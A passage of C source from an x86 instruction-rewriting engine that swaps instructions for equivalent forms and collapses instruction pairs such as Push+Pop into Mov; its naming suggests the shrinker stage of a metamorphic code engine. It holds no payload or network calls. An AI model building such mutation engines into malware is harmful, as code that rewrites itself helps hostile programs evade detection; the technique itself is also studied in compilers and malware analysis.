            // Cmp Reg(8/16/32), 0(8/16/32) -> Test Reg(8/16/32), Reg(8/16/32)
            // Sub Reg(8/16/32), 1(8/16/32) -> Dec Reg(8/16/32)
            // Sub [Effective Address (8/16/32)], 1(8/16/32) -> Dec [Effective Address (8/16/32)]
            // Sub [Effective Address (8/16/32)], Constant8/16/32 -> Add [Effective Address], -Constant8/16/32 -------------|
            // Sub Reg(8/16/32), Constant8/16/32 -> Add Reg(8/16/32), -Constant -|                                          |
            // Add Reg(8/16/32), 1 -> Inc Reg(8/16/32) <-------------------------| Sub Reg(8/16/32), -1 -> Inc Reg(8/16/32) |
            // Add [Effective Address (8/16/32)], 1 -> Inc [Effective Address (8/16/32)] <----------------------------------| Sub [Effective Address (8/16/32)], -1(8/16/32) -> Inc [Effective Address (8/16/32)]
            // Push Constant8 -> Push Constant32
            // Lea Reg1(32), Dword [Reg1(32) + Reg2(32)] -> Add Reg1(32), Reg2(32)
            // Lea Reg1(32), Dword [Reg2(32) + Reg1(32)] -> Add Reg1(32), Reg2(32)
            
            if(pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength != 0 && !(pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagPrefix0F))
            {
                bValidRegister=bValidDisplacement=bValidConstant=FALSE;
                CurrentDestinationRegister=pCurrentSynonymousX86InstructionAbstraction->DestinationRegister;
                
                if(!(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction != NULL && (pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagConditionalBranch)))
                {   
                    if(pCurrentSynonymousX86InstructionAbstraction->DBitOpcode == 0x28)
                    {
                        if(pCurrentSynonymousX86InstructionAbstraction->Mod == 0xC0 && pCurrentSynonymousX86InstructionAbstraction->SourceRegister == pCurrentSynonymousX86InstructionAbstraction->DestinationRegister)
                        {
                            // Sub Reg1(8/16/32), Reg1(8/16/32) -> Xor Reg1(8/16/32), Reg1(8/16/32)
                            
                            pCurrentSynonymousX86InstructionAbstraction->DBitOpcode=0x30;
                            pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes]=pCurrentSynonymousX86InstructionAbstraction->Opcode += 8;
                        
                            continue;
                        }
                    }
                    
                    if(pCurrentSynonymousX86InstructionAbstraction->Opcode >= 0xB0 && pCurrentSynonymousX86InstructionAbstraction->Opcode <= 0xBF)
                    {
                        // Mov Reg(8/16/32), Constant(8/16/32)
                        
                        if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData8))
                        {
                            if(pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset] == 0)
                            {
                                bValidConstant=TRUE;
                            }
                        }
                        else if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData32))
                        {
                            if(*(PDWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset] == 0)
                            {
                                bValidConstant=TRUE;
                            }
                        }
                        else if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData16))
                        {
                            if(*(PWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset] == 0)
                            {
                                bValidConstant=TRUE;
                            }
                        }
                        
                        if(bValidConstant)
                        {
                            // Mov Reg(8/16/32), 0(8/16/32) -> Xor Reg(8/16/32), Reg(8/16/32)
                            
                            pCurrentSynonymousX86InstructionAbstraction->Mod=0xC0;
                            pCurrentSynonymousX86InstructionAbstraction->ModRM=(pCurrentSynonymousX86InstructionAbstraction->Mod|(CurrentDestinationRegister << 3)|CurrentDestinationRegister);
                            pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength=(pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 2);
                            pCurrentSynonymousX86InstructionAbstraction->Opcode=(0x30 + ((pCurrentSynonymousX86InstructionAbstraction->Opcode & 0x08) >> 3));
                            pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags &= ~(X86InstructionStandardFlagRegWBit|X86InstructionStandardFlagData);
                            pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagModRM|X86InstructionStandardFlagAddressModeWBit;
                            pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagDBit|X86InstructionExtendedFlagRegToReg;
                            pCurrentSynonymousX86InstructionAbstraction->SourceRegister=CurrentDestinationRegister;
                            
                            pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes]=pCurrentSynonymousX86InstructionAbstraction->Opcode;
                            pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 1]=pCurrentSynonymousX86InstructionAbstraction->ModRM;
                            
                            continue;
                        }
                    }
                    
                    if(pCurrentSynonymousX86InstructionAbstraction->DBitOpcode == 0x80)
                    {   
                        if(pCurrentSynonymousX86InstructionAbstraction->Reg == 0x05) // 101 - Sub extended opcode
                        {
                            if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData8))
                            {
                                if(pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset] == 1)
                                {
                                    bValidConstant=TRUE;
                                }
                            }
                            else if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData32))
                            {
                                if(*(PDWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset] == 1)
                                {
                                    bValidConstant=TRUE;
                                }
                            }
                            else if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData16))
                            {
                                if(*(PWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset] == 1)
                                {
                                    bValidConstant=TRUE;
                                }
                            }
                            
                            if(bValidConstant)
                            {
                                // Sub -> Dec
                                
                                if(pCurrentSynonymousX86InstructionAbstraction->Mod == 0xC0 && pCurrentSynonymousX86InstructionAbstraction->WBit == 1)
                                {
                                    // Sub Reg(8/16/32), 1(8/16/32) -> Dec Reg(8/16/32)
                                    
                                    pCurrentSynonymousX86InstructionAbstraction->Opcode=pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes]=(pCurrentSynonymousX86InstructionAbstraction->DestinationRegister + 0x48);
                                    pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength=(pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 1);
                                    pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagRegOpcode;
                                    pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags &= ~(X86InstructionStandardFlagData|X86InstructionStandardFlagModRM|X86InstructionStandardFlagAddressModeWBit);
                                }
                                else
                                {
                                    // Sub [Effective Address (8/16/32)], 1(8/16/32) -> Dec [Effective Address (8/16/32)]
                                    
                                    pCurrentSynonymousX86InstructionAbstraction->WBitOpcode=0xFE;
                                    pCurrentSynonymousX86InstructionAbstraction->Opcode=pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes]=(0xFE + pCurrentSynonymousX86InstructionAbstraction->WBit);
                                    pCurrentSynonymousX86InstructionAbstraction->Reg=0x01; // 001 - Dec extended opcode
                                    pCurrentSynonymousX86InstructionAbstraction->ModRM &= 0xC7;
                                    pCurrentSynonymousX86InstructionAbstraction->ModRM |= 0x08; // 1000
                                    pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 1]=pCurrentSynonymousX86InstructionAbstraction->ModRM;
                                    pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags &= ~X86InstructionExtendedFlagDBit;
                                    
                                    if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData8))
                                    {
                                        pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength--;
                                        pCurrentSynonymousX86InstructionAbstraction->WBit=0;
                                        pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlag8BitSingleModRM;
                                    }
                                    else if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData32))
                                    {
                                        pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength -= 4;
                                        pCurrentSynonymousX86InstructionAbstraction->WBit=1;
                                        pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlag32BitSingleModRM;
                                    }
                                    else if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData16))
                                    {
                                        pCurrentSynonymousX86InstructionAbstraction->WBit=1;
                                        pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength -= 2;
                                        pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlag32BitSingleModRM;
                                    }
                                
                                    pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags &= ~X86InstructionStandardFlagData;
                                }
                                
                                continue;
                            }
                            else if(pCurrentSynonymousX86InstructionAbstraction->pDataRelocationAbstraction == NULL)
                            {                      
                                // Sub -> Negated Add
                                // Sub [Effective Address (8/16/32)], Constant8/16/32 -> Add [Effective Address], -Constant8/16/32
                                // Sub Reg(8/16/32), Constant8/16/32 -> Add Reg(8/16/32), -Constant8/16/32
                                
                                pCurrentSynonymousX86InstructionAbstraction->Reg=0;
                                pCurrentSynonymousX86InstructionAbstraction->ModRM &= 0xC7; // 11000111
                                pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 1]=pCurrentSynonymousX86InstructionAbstraction->ModRM;
                                
                                if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData8))
                                {
                                    pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset]=-pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset];
                                }
                                else if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData32))
                                {
                                    *(PDWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset]=-*(PDWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset];
                                }
                                else if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData16))
                                {
                                    *(PWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset]=-*(PWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset];
                                }
                                
                                continue;
                            }
                        }
                        
                        if(pCurrentSynonymousX86InstructionAbstraction->Reg == 0x00) // 000 - Add extended opcode
                        {
                            if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData8))
                            {
                                if(pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset] == 1)
                                {
                                    bValidConstant=TRUE;
                                }
                            }
                            else if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData32))
                            {
                                if(*(PDWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset] == 1)
                                {
                                    bValidConstant=TRUE;
                                }
                            }
                            else if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData16))
                            {
                                if(*(PWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset] == 1)
                                {
                                    bValidConstant=TRUE;
                                }
                            }
                            
                            if(bValidConstant)
                            {
                                // Add -> Inc
                                
                                if(pCurrentSynonymousX86InstructionAbstraction->Mod == 0xC0 && pCurrentSynonymousX86InstructionAbstraction->WBit == 1)
                                {
                                    // Add Reg(8/16/32), 1 -> Inc Reg(8/16/32)
                                    
                                    pCurrentSynonymousX86InstructionAbstraction->Opcode=pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes]=(pCurrentSynonymousX86InstructionAbstraction->DestinationRegister + 0x40);
                                    pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength=(pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 1);
                                    pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagRegOpcode;
                                    pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags &= ~(X86InstructionStandardFlagData|X86InstructionStandardFlagModRM|X86InstructionStandardFlagAddressModeWBit);
                                    
                                    continue;
                                }
                                else
                                {
                                    // Add [Effective Address (8/16/32)], 1 -> Inc [Effective Address (8/16/32)]
                                    
                                    pCurrentSynonymousX86InstructionAbstraction->WBitOpcode=0xFE;
                                    pCurrentSynonymousX86InstructionAbstraction->Opcode=pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes]=(0xFE + pCurrentSynonymousX86InstructionAbstraction->WBit);
                                    pCurrentSynonymousX86InstructionAbstraction->Reg=0x00; // 000 - Inc extended opcode
                                    pCurrentSynonymousX86InstructionAbstraction->ModRM &= 0xC7;
                                    pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 1]=pCurrentSynonymousX86InstructionAbstraction->ModRM;
                                    pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags &= ~X86InstructionExtendedFlagDBit;
                                    
                                    if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData8))
                                    {
                                        pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength--;
                                        pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlag8BitSingleModRM;
                                    }
                                    else if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData32))
                                    {
                                        pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength -= 4;
                                        pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlag32BitSingleModRM;
                                    }
                                    else if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData16))
                                    {
                                        pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength -= 2;
                                        pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlag32BitSingleModRM;
                                    }
                                
                                    pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags &= ~X86InstructionStandardFlagData;
                                    
                                    continue;
                                }
                            }
                        }
                    }
                    
                    if(pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes == 0)
                    {
                        if(pCurrentSynonymousX86InstructionAbstraction->Opcode == 0x6A)
                        {
                            // Push Constant8 -> Push Constant32
                    
                            pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength=5;
                            pCurrentSynonymousX86InstructionAbstraction->Opcode=pCurrentSynonymousX86InstructionAbstraction->Data[0]=0x68;
                            *(PDWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[1]=(CHAR)pCurrentSynonymousX86InstructionAbstraction->Data[1];
                            pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags &= ~X86InstructionStandardFlagData8;
                            pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagData32;
                            
                            continue;
                        }
                        
                        if(pCurrentSynonymousX86InstructionAbstraction->Opcode == 0x8D)
                        {
                            // Lea Reg, [Effective Address]
                
                            if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagSIB) && !(pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagMemory))
                            {
                                if(pCurrentSynonymousX86InstructionAbstraction->Scale == 1)
                                {   
                                    if(CurrentDestinationRegister == pCurrentSynonymousX86InstructionAbstraction->Index)
                                    {
                                        // Lea Reg1(32), Dword [Reg1(32) + Reg2(32)] -> Add Reg1(32), Reg2(32)
                                        
                                        CurrentSourceRegister=pCurrentSynonymousX86InstructionAbstraction->Base;
                                        
                                        bValidRegister=TRUE;
                                    }
                                    else if(CurrentDestinationRegister == pCurrentSynonymousX86InstructionAbstraction->Base)
                                    {
                                        // Lea Reg1(32), Dword [Reg2(32) + Reg1(32)] -> Add Reg1(32), Reg2(32)
                                        
                                        CurrentSourceRegister=pCurrentSynonymousX86InstructionAbstraction->Index;
                                        
                                        bValidRegister=TRUE;
                                    }
                                    
                                    if(bValidRegister)
                                    {
                                        pCurrentSynonymousX86InstructionAbstraction->DBitOpcode=0x00;
                                        pCurrentSynonymousX86InstructionAbstraction->WBitOpcode=0x02;
                                        pCurrentSynonymousX86InstructionAbstraction->WBit=1;
                                        pCurrentSynonymousX86InstructionAbstraction->Opcode=pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes]=0x03;
                                        pCurrentSynonymousX86InstructionAbstraction->SourceRegister=CurrentSourceRegister;
                                        pCurrentSynonymousX86InstructionAbstraction->DestinationRegister=CurrentDestinationRegister;
                                        pCurrentSynonymousX86InstructionAbstraction->Mod=0xC0;
                                        pCurrentSynonymousX86InstructionAbstraction->Rm=CurrentSourceRegister;
                                        pCurrentSynonymousX86InstructionAbstraction->Reg=CurrentDestinationRegister;
                                        pCurrentSynonymousX86InstructionAbstraction->ModRM=(pCurrentSynonymousX86InstructionAbstraction->Mod|(pCurrentSynonymousX86InstructionAbstraction->Reg << 3)|pCurrentSynonymousX86InstructionAbstraction->Rm);
                                        pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 1]=pCurrentSynonymousX86InstructionAbstraction->ModRM;
                                        pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength=(pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 2);
                                        pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags |= X86InstructionStandardFlagAddressModeWBit;
                                        pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags &= ~X86InstructionStandardFlagSIB;
                                        pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags |= X86InstructionExtendedFlagDBit;
                                        pCurrentSynonymousX86InstructionAbstraction->DBit=1;
                                        
                                        continue;
                                    }
                                }
                            }
                        }
                    }
                }
                
                if(pCurrentSynonymousX86InstructionAbstraction->DBitOpcode == 0x08)
                {
                    if(pCurrentSynonymousX86InstructionAbstraction->Mod == 0xC0 && pCurrentSynonymousX86InstructionAbstraction->SourceRegister == pCurrentSynonymousX86InstructionAbstraction->DestinationRegister)
                    {
                        // Or Reg1(8/16/32), Reg1(8/16/32) -> Test Reg1(8/16/32), Reg1(8/16/32)
                        
                        pCurrentSynonymousX86InstructionAbstraction->DBitOpcode=pCurrentSynonymousX86InstructionAbstraction->Opcode=0x84;
                        pCurrentSynonymousX86InstructionAbstraction->Opcode += pCurrentSynonymousX86InstructionAbstraction->WBit;
                        pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes]=pCurrentSynonymousX86InstructionAbstraction->Opcode;
                    
                        continue;
                    }
                }
                
                if(pCurrentSynonymousX86InstructionAbstraction->DBitOpcode == 0x80)
                {
                    if(pCurrentSynonymousX86InstructionAbstraction->Reg == 0x07) // 111 - Cmp extended opcode
                    {
                        if(pCurrentSynonymousX86InstructionAbstraction->Mod == 0xC0)
                        {
                            if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData8))
                            {
                                if(pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset] == 0)
                                {
                                    bValidConstant=TRUE;
                                }
                            }
                            else if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData32))
                            {
                                if(*(PDWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset] == 0)
                                {
                                    bValidConstant=TRUE;
                                }
                            }
                            else if((pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagData16))
                            {
                                if(*(PWORD)&pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwDataOffset] == 0)
                                {
                                    bValidConstant=TRUE;
                                }
                            }
                            
                            if(bValidConstant)
                            {
                                // Cmp Reg(8/16/32), 0(8/16/32) -> Test Reg(8/16/32), Reg(8/16/32)
                                
                                pCurrentSynonymousX86InstructionAbstraction->DBitOpcode=pCurrentSynonymousX86InstructionAbstraction->Opcode=pCurrentSynonymousX86InstructionAbstraction->WBitOpcode=0x84;
                                pCurrentSynonymousX86InstructionAbstraction->SourceRegister=pCurrentSynonymousX86InstructionAbstraction->DestinationRegister;
                                pCurrentSynonymousX86InstructionAbstraction->Mod=0xC0;
                                pCurrentSynonymousX86InstructionAbstraction->Rm=pCurrentSynonymousX86InstructionAbstraction->SourceRegister;
                                pCurrentSynonymousX86InstructionAbstraction->Reg=pCurrentSynonymousX86InstructionAbstraction->DestinationRegister;
                                pCurrentSynonymousX86InstructionAbstraction->ModRM=(pCurrentSynonymousX86InstructionAbstraction->Mod|(pCurrentSynonymousX86InstructionAbstraction->Reg << 3)|pCurrentSynonymousX86InstructionAbstraction->Rm);
                                pCurrentSynonymousX86InstructionAbstraction->Opcode += pCurrentSynonymousX86InstructionAbstraction->WBit;
                                pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes]=pCurrentSynonymousX86InstructionAbstraction->Opcode;
                                pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 1]=pCurrentSynonymousX86InstructionAbstraction->ModRM;
                                pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength=(pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 2);
                                pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags &= ~X86InstructionStandardFlagData;
                                pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags &= ~X86InstructionExtendedFlagExtendedOpcode;

                                continue;
                            }
                        }
                    }
                }
            }
        }
        
        // Walk instruction list and identify/shrink twin sequences of instructions.
        
        //printf("[*] Shrinking double instruction sequences...\r\n");
        
        for(pCurrentSynonymousX86InstructionAbstraction=pSynonymousTargetCodeAbstractionTable->pInitialX86InstructionAbstraction; pCurrentSynonymousX86InstructionAbstraction != NULL; pCurrentSynonymousX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction)
        {   
            // Push Reg2(32) + Pop Reg1(32) -> Mov Reg1(32), Reg2(32) --------------------------------------|
            // Push Reg(32) + Pop [Effective Address (32)] -> Mov [Effective Address (32)], Reg(32)         |
            // Push [Effective Address (32)] + Pop Reg(32) -> Mov Reg(32), [Effective Address (32)]         |
            // Push Constant32 + Pop Reg(32) -> Mov Reg(32), Constant32 -----------------------------------||
            // Push Constant32 + Pop [Effective Address (32)] -> Mov [Effective Address (32)], Constant32 -||
            // Mov Esp, Ebp + Pop Ebp -> Leave <-----------------------------------------------------------|| Push Ebp + Pop Esp + Pop Ebp -> Leave
            // Add Esp, -4 + Mov Dword [Esp], Constant32 -> Push Constant32 <------------------------------| Add Esp, -4 + Push Constant32 + Pop Dword [Esp] -> Add Esp, -4 + Mov Dword [Esp], Constant32
            // Mov Reg(32), (Constant32 - Delta) + Add Reg(32), Delta -> Mov Reg(32), Constant32 <---------| Push (Constant32 - Delta) + Pop Reg(32) + Add Reg(32), Delta -> Mov Reg(32), Constant32
            // Mov [Effective Address (32)], (Constant32 - Delta) + Add [Effective Address (32)], Delta -> Mov [Effective Address (32)], Constant32
            
            for(dwX=0; dwX < 2; dwX++)
            {
                if(pDiscardableLinks[dwX] != NULL)
                {
                    pAPITable->GlobalFree(pDiscardableLinks[dwX]);
                    
                    pDiscardableLinks[dwX]=NULL;
                }
            }
                
            pPreviousTargetX86InstructionAbstraction=NULL;
                
            if(pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength != 0 && pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes == 0 && !(pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagPrefix0F))
            {
                if(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction != NULL && pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwDataSize == 0 && pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwNumberOfPrefixes == 0 && !(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwExtendedFlags & X86InstructionExtendedFlagReferencedAddress) && !(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->dwStandardFlags & X86InstructionStandardFlagPrefix0F))
                {               
                    CurrentSourceRegister=pCurrentSynonymousX86InstructionAbstraction->DestinationRegister;
                    CurrentDestinationRegister=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->DestinationRegister;
                            
                    if(pCurrentSynonymousX86InstructionAbstraction->Opcode >= 0x50 && pCurrentSynonymousX86InstructionAbstraction->Opcode < 0x58)
                    {
                        // Push Reg(32)
                        
                        if(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Opcode >= 0x58 && pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Opcode <= 0x5F)
                        {
                            // Push Reg2(32) + Pop Reg1(32) -> Mov Reg1(32), Reg2(32)
                            
                            pDiscardableLinks[0]=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction;
                            
                            pCurrentSynonymousX86InstructionAbstraction->DBitOpcode=pCurrentSynonymousX86InstructionAbstraction->WBitOpcode=0x88;
                            pCurrentSynonymousX86InstructionAbstraction->WBit=1;
                            pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes]=pCurrentSynonymousX86InstructionAbstraction->Opcode=0x89;
                            pCurrentSynonymousX86InstructionAbstraction->dwInstructionLength=(pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 2);
                            pCurrentSynonymousX86InstructionAbstraction->dwStandardFlags=X86InstructionStandardFlagModRM|X86InstructionStandardFlagAddressModeWBit;
                            pCurrentSynonymousX86InstructionAbstraction->dwExtendedFlags=X86InstructionExtendedFlagDBit;
                            pCurrentSynonymousX86InstructionAbstraction->Mod=0xC0;
                            pCurrentSynonymousX86InstructionAbstraction->ModRM=pCurrentSynonymousX86InstructionAbstraction->Data[pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes + 1]=(pCurrentSynonymousX86InstructionAbstraction->Mod|(CurrentSourceRegister << 3)|CurrentDestinationRegister);
                            pCurrentSynonymousX86InstructionAbstraction->Reg=CurrentSourceRegister;
                            pCurrentSynonymousX86InstructionAbstraction->Rm=CurrentDestinationRegister;
                            pCurrentSynonymousX86InstructionAbstraction->SourceRegister=CurrentSourceRegister;
                            pCurrentSynonymousX86InstructionAbstraction->DestinationRegister=CurrentDestinationRegister;
                            
                            pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction;
                            pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pPreviousMemoryOrderX86InstructionAbstraction=pCurrentSynonymousX86InstructionAbstraction;
                            
                            //printf("[*] 0x%08x: Push %s + Pop %s -> Mov %s, %s\r\n", pCurrentSynonymousX86InstructionAbstraction->dwInstructionOffset, pGPRSymbolTableTable[1 + pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes][CurrentSourceRegister], pGPRSymbolTableTable[1 + pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes][CurrentDestinationRegister], pGPRSymbolTableTable[1 + pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes][CurrentDestinationRegister], pGPRSymbolTableTable[1 + pCurrentSynonymousX86InstructionAbstraction->dwNumberOfPrefixes][CurrentSourceRegister]);
                        }
                        
                        if(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->Opcode == 0x8F)
                        {
                            // Push Reg(32) + Pop [Effective Address (32)] -> Mov [Effective Address (32)], Reg(32)
                            
                            pDiscardableLinks[0]=pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction;
                            
                            if(pCurrentSynonymousX86InstructionAbstraction->pNextMemoryOrderX86InstructionAbstraction->pMemoryRelocationAbstraction != NULL)
                            {
